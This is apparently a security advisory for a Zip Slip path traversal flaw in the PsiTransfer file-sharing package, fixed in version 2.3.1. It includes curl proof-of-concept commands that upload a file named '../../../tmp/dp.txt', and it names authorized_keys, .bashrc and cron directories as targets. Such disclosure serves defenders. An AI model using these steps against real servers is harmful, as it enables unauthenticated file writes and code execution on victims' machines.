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GHSA-xphh-5v4r-r3rx json

PsiTransfer has Zip Slip Path Traversal via TAR Archive Download

published 10mo ago modified 10mo ago

cvss
8.1
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

### Summary

A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.

### Details

The vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.

``` lib/endpoints.js:275

const entry = pack.entry({ name: info.metadata.name, size: info.size }); ```

``` lib/endpoints.js:372 assert(meta.name, 'tus meta prop missing: name'); ```

### PoC

I. Upload file with malicious filename (no authentication required).

``` MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64) SID=$(echo -n "evil" | base64) RETENTION=$(echo -n "3600" | base64)

curl -X POST http://TARGET:3000/files \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Length: 15" \ -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}" ```

II. Complete upload with PATCH

``` curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -d "MALICIOUS_CONTENT" ```

III. Victim downloads and extracts TAR

``` curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz tar -tzf files.tar.gz ```

### Impact

Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has **uploadPass: false**. Social Engineering Vector: Attacker sends malicious download link to victim.

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CVSS scores

assigned by version score vector
GitHub 3.1 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Affected packages

ecosystem package affected fixed in
npm psitransfer
<2.3.1
2.3.1

Classification

Weakness
  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory
  • CWE-23 Relative Path Traversal

References

Sources

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